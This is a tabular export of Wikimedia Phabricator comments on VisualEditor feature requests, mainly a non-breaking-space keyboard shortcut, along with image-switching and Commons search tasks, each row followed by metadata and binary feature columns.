+https://gerrit.wikimedia.org/r/676162",,,1617229406,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,404,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1695931,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 676162 had a related patch set uploaded (by Bartosz Dziewoński; author: Bartosz Dziewoński):
+%%%[mediawiki/extensions/VisualEditor@master] Update VE core submodule to master (5d0701ea3)%%%
+https://gerrit.wikimedia.org/r/676162",,,1617227930,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,404,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1695925,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 665132 **merged** by jenkins-bot:
+%%%[VisualEditor/VisualEditor@master] Detect NBSPs being inserted deliberately by IMEs%%%
+https://gerrit.wikimedia.org/r/665132",,,1617227748,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,404,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1678854,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Test wiki on [[ http://localhost/patchdemo | Patch Demo ]]  by Ed using patch(es) linked to this task was **deleted**:
+
+~~[[ http://localhost/patchdemo/wikis/ccf0f0ed62e0183bcd8312eb45d1ce97/w/ ]]~~",,,1615050934,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,400,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1678845,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Test wiki **created** on [[ http://localhost/patchdemo | Patch Demo ]] by Ed using patch(es) linked to this task:
+
+http://localhost/patchdemo/wikis/bca3f56df9aa1ff71991cf889062e980/w/",,,1615049225,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,400,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1678836,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Test wiki **created** on [[ http://localhost/patchdemo | Patch Demo ]] by Ed using patch(es) linked to this task:
+
+http://localhost/patchdemo/wikis/ccf0f0ed62e0183bcd8312eb45d1ce97/w/",,,1615047467,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,400,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+1667664,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 665132 had a related patch set uploaded (by Esanders; owner: Esanders):
+[VisualEditor/VisualEditor@master] Detect NBSPs being inserted deliberately by IMEs
+
+https://gerrit.wikimedia.org/r/665132",,,1613669036,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,398,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1663582,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 255937 **restored** by Bartosz Dziewoński:
+[mediawiki/extensions/VisualEditor@master] Add command to insert non-breaking space, triggered by Ctrl+Space (PC) / Opt+Space (Mac)
+
+https://gerrit.wikimedia.org/r/255937",,,1613074784,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,397,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1269439,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"I have a related remark. Even though the editor does not provide itself a keyboard shortcut to insert no-break spaces, your keyboard layout might allow you to write no-break spaces. If you’re in this case, an editor-provided keyboard shortcut to insert no-break spaces is completely unneeded.
+
+The ‘French (alternative)’ keyboard layout (it’s its name on Linux) allows to insert no-break spaces with AltGr-Shift-Space. Personally I use the ‘Bépo’ keyboard layout (a Dvorak-like for French) which allows to type no-break spaces with Shift-Space. But it doesn’t work in the VisualEditor (both in visual and wikitext modes): it inserts a normal space. However it works with the classic (2013?) wikitext editor. It is very weird, because I can type no-break spaces everywhere else on my system, except in some rich-text web editors (I have the same problem with WordPress). I’m very curious about the source of that bug. It might be something else though, that would need its own bug report.
+
+You can test the ‘French (alternative)’ keyboard layout easily on Linux by typing `setxkbmap fr oss` in a terminal. (Under Windows you must install it: use [[ http://mjulier.free.fr/clavier/clavier_fr-ossc.zip | this archive ]] linked from [[ https://fr.wikipedia.org/wiki/Aide:Lettres_accentu%C3%A9es#Avec_des_dispositions_de_clavier_am%C3%A9lior%C3%A9es | this Wikipedia page ]].)
+
+Actually… OK, I just figured out it’s a Firefox bug with the `contenteditable=""true""`. Typing no-break spaces does work in Chromium.",,,1556057434,,PHID-USER-2fha2mym5lty6djs2qfl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,303,,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+1269435,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"I have a related remark. Even though the editor does not provide itself a keyboard shortcut to insert no-break spaces, your keyboard layout might allow you to write no-break spaces. If you’re in this case, an editor-provided keyboard shortcut to insert no-break spaces is completely unneeded.
+
+The ‘French (alternative)’ keyboard layout (it’s its name on Linux) allows to insert no-break spaces with AltGr-Shift-Space. Personally I use the ‘Bépo’ keyboard layout (a Dvorak-like for French) which allows to type no-break spaces with Shift-Space. But it doesn’t work in the VisualEditor (both in visual and wikitext modes): it inserts a normal space. However it works with the classic (2013?) wikitext editor. It is very weird, because I can type no-break spaces everywhere else on my system, except in some rich-text web editors (I have the same problem with WordPress). I’m very curious about the source of that bug. It might be something else though, that would need its own bug report.
+
+You can test the ‘French (alternative)’ keyboard layout easily on Linux by typing `setxkbmap fr oss` in a terminal. (Under Windows you must install it: use [[ http://mjulier.free.fr/clavier/clavier_fr-ossc.zip | this archive ]] linked from [[ https://fr.wikipedia.org/wiki/Aide:Lettres_accentu%C3%A9es#Avec_des_dispositions_de_clavier_am%C3%A9lior%C3%A9es | this Wikipedia page ]].)",,,1556057144,,PHID-USER-2fha2mym5lty6djs2qfl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,303,,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1
+1269411,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"@Nnemo: +1 for Ctrl-Shift-Space which also works on LibreOffice.
+
+>>! In T53045#1244827, @Nnemo wrote:
+> # « The safe places for french quotes » do not work in the visual editor — this is a bug, by the way. 
+
+//All// the safe places fail in the visual editor. I sometimes have line breaks before colons, semicolons, etc.
+
+>>! In T53045#1757181, @Esanders wrote:
+> Or you could somehow annotate the whole word as nowrap. Arguably <nowrap>100 °C</nowrap> would be clearer than 100&nbsp;°C
+
+Forget `<nowrap>`. There’s an already existing HTML4 `<nobr>` tag. To me it would be relevant that MediaWiki supports it; MDN says it’s non-standard (while it’s supported by all browser engines), that may be the reason. The behavior you were looking for can still be obtained with code like what [[ https://en.wikipedia.org/wiki/Template:Nowrap | this template ]] uses.",,,1556056383,,PHID-USER-2fha2mym5lty6djs2qfl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,303,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,1,1,1,1,1,1,1,1,0,1
+594585,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),">>! In T53045#1953183, @Nnemo wrote:
+> Regarding Ctrl Space on PC, would Ctrl Shift Space work as well? It would be good.
+
+Yes, that patch actually used both of these combinations, but space in the commit summary is limited ;)",,,1453407360,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,133,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,1
+594580,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),">>! In T53045#1837188, @gerritbot wrote:
+> Change 255937 had a related patch set uploaded (by Bartosz Dziewoński):
+> Add command to insert non-breaking space, triggered by Ctrl Space (PC) / Opt Space (Mac)
+> 
+> [[https://gerrit.wikimedia.org/r/255937]]
+
+Option Space on Mac is a good combination. Regarding Ctrl Space on PC, would Ctrl Shift Space work as well? It would be good.
+",,,1453407233,,PHID-USER-fjve3gq5wsmaaccti7pb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,133,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,1
+593290,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"If those are blockers, can they be listed as such?",,,1453297794,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,133,,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0
+593288,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 255937 abandoned by Bartosz Dziewoński:
+Add command to insert non-breaking space, triggered by Ctrl Space (PC) / Opt Space (Mac)
+
+Reason:
+This doesn't seem to be moving forward. And last time I checked, non-breaking spaces in VE-MW (implemented as MWEntity) had a bunch of problems like T119838, T119839, T119840; so we wouldn't really want to point users towards them without fixing that first.
+
+[[https://gerrit.wikimedia.org/r/255937]]",,,1453297689,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,133,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+569738,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),I also think CTRL+space is quite a high profile shortcut to assign to a relatively uncommon feature.,,,1448822067,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,125,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+569728,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Change 255937 had a related patch set uploaded (by Bartosz Dziewoński):
+Add command to insert non-breaking space, triggered by Ctrl Space (PC) / Opt Space (Mac)
+
+[[https://gerrit.wikimedia.org/r/255937]]
+",,,1448820160,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,125,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+552937,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),">>! In T70429#1224015, @Esanders wrote:
+> Or you could somehow annotate the whole word as nowrap. Arguably <nowrap>100 °C</nowrap> would be clearer than 100&nbsp;°C
+",,,1445953865,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,True,,,121,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,1,0,1
+450994,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),">>! In T53045#1232726, @Ltrlg wrote:
+> Inserting only the character is not persistent: there is at least one browser which replaces non-breaking spaces with normal spaces in `<textearea>`s (may be Firefox? don’t remember). See [[https://fr.wikipedia.org/w/index.php?diff=114391750&oldid=114391708|this diff]] for an example of such a replacement (I read unfortunately more talk pages than articles and don’t remember an recent example in ns-0).
+
+//Sometimes//, a replacement of non-breaking spaces with normal spaces in the text area occurs (occurred). This is (was) caused by a bug of Firefox, that was fixed years ago. Now, this happens rarely, because people having a fossil Firefox are rare. Over time, such replacements will be rarer and rarer.
+
+>>! In T53045#1232726, @Ltrlg wrote:
+> Of course there are safe places (before colons, inside French quotations marks) where MediaWiki does not require a special space to render a non-breaking one and where it would make no difference.
+
+These safe places exist. //But ://
+
+# I think that these safe places are a setup specific to the site fr.wikipedia.org, and do not apply in the general case of a MediaWiki. I may be wrong here. 
+# These safe places do not work in links. 
+# These safe places do not work in wikicode. 
+# « The safe places for french quotes » do not work in the visual editor — this is a bug, by the way. 
+",,,1430308930,,PHID-USER-fjve3gq5wsmaaccti7pb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,95,,0,0,0,1,1,1,1,1,0,0,1,0,1,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1
+448504,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Inserting only the character is not persistent: there is at least one browser which replaces non-breaking spaces with normal spaces in `<textearea>`s (may be Firefox? don’t remember). See [[https://fr.wikipedia.org/w/index.php?diff=114391750&oldid=114391708|this diff]] for an example of such a replacement (I read unfortunately more talk pages than articles and don’t remember an recent example in ns-0).
+
+Of course there are safe places (before colons, inside French quotations marks) where MediaWiki does not require a special space to render a non-breaking one and where it would make no difference.",,,1429827478,,PHID-USER-5pyvkdz65d5h5vxebodc,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,94,,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1
+448503,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"Inserting only the character is not persistent: there is at least one browser which replaces non-breaking spaces with normal spaces in `<textearea>`s (may be Firefox? don’t remember). See [[https://fr.wikipedia.org/w/index.php?diff=114391750&oldid=114391708|this diff]] for an example of such a replacement (I read unfortunately more talk pages than articles and don’t remember an recent example in ns-0).
+
+Of course there are safe places (before colons, inside French quotations marks) where MediaWiki does not require the a special space to render a non-braking one and where it would make no difference.",,,1429827443,,PHID-USER-5pyvkdz65d5h5vxebodc,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,94,,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,1,1
+448279,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"For this feature, something would need to be clarified :
+
+What would the keyboard combination insert in the wikicode ?
+
+# The character non-breaking space 
+# The HTML entity ##&nbsp;## 
+
+These are two different things.
+
+For this feature, I would recommend inserting the character non-breaking space. Inserting the non-breaking space character leaves the wikicode natural and readable. Well, as readable as the wikicode already is. ;-) 
+
+",,,1429807031,,PHID-USER-fjve3gq5wsmaaccti7pb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,94,,0,1,0,1,0,1,0,0,0,0,1,0,1,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,1,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+448273,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"For this feature, I suggest Ctrl Shift Space rather than Ctrl Space.
+
+Reasons :
+
+# Ctrl Space is already taken for Spotlight on Mac. 
+# The Word feature for entering a non-breaking space is pressing Ctrl Shift Space. 
+
+The Word feature is quite well known. Having an inconsistency here would confuse users.
+",,,1429806239,,PHID-USER-fjve3gq5wsmaaccti7pb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,94,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+423078,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),Related: https://phabricator.wikimedia.org/T70429,,,1425904145,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,88,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+53033,VisualEditor: Ability to switch image used whilst maintaining the caption and other settings,"You should be able not only to change image caption, but select another image.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=54285",Low,25.0,1373372220,1404351379.0,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,False,PHID-TASK-cq56uabry7nuedxb56e6,task_description,resolved,True,c1,3,False,False,False,1,,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+249444,VisualEditor: Ability to switch image used whilst maintaining the caption and other settings,*** Bug 52580 has been marked as a duplicate of this bug. ***,,,1402608867,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cq56uabry7nuedxb56e6,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249440,VisualEditor: Ability to switch image used whilst maintaining the caption and other settings,*** Bug 53409 has been marked as a duplicate of this bug. ***,,,1377621974,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cq56uabry7nuedxb56e6,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+53031,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title","Try to add image to http://uk.wikipedia.org/wiki/29er_(%D0%B2%D0%B5%D0%BB%D0%BE%D1%81%D0%B8%D0%BF%D0%B5%D0%B4) 
+
+It suggests no images for article ""29er (велосипед)"", but it will if you search by Commonscat template parameter or english interwiki
+
+--------------------------
+**See Also**:
+{T54464}",Low,25.0,1373372040,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,False,PHID-TASK-faz57akdhnnsrbbitdmo,task_description,open,True,c1,3,False,False,,1,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+1233278,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title","It probably should be tagged with it. Sorry, VE tasks are often not consistently tagged (other than with the #visualeditor tag).",,,1551212560,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-faz57akdhnnsrbbitdmo,task_subcomment,,True,c1,3,True,,,295,,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+1233204,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title","@matmarex thanks for finding this, I did look before filing but this task wasn't tagged with #visualeditor-media, is that the right tag? ",,,1551207441,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-faz57akdhnnsrbbitdmo,task_subcomment,,True,c1,3,False,,,295,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0
+1233189,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title","I don't think this would require T68108. It seems possible to implement today (although maybe inefficient…)
+* Given a page e.g. https://en.wikipedia.org/wiki/The_Fighting_Temeraire, look up its Wikidata entry e.g. https://www.wikidata.org/wiki/Q257580
+* Given the Wikidata entry, look up the Commons gallery/category using the 'commons' sitelink, or the category using the ""Commons category"" (`P373`) property
+* Given the Commons category, show search results from it (maybe using [[https://www.mediawiki.org/wiki/Help:CirrusSearch#Intitle_and_incategory|incategory:]] search)",,,1551206616,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-faz57akdhnnsrbbitdmo,task_subcomment,,True,c1,3,True,,,295,,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
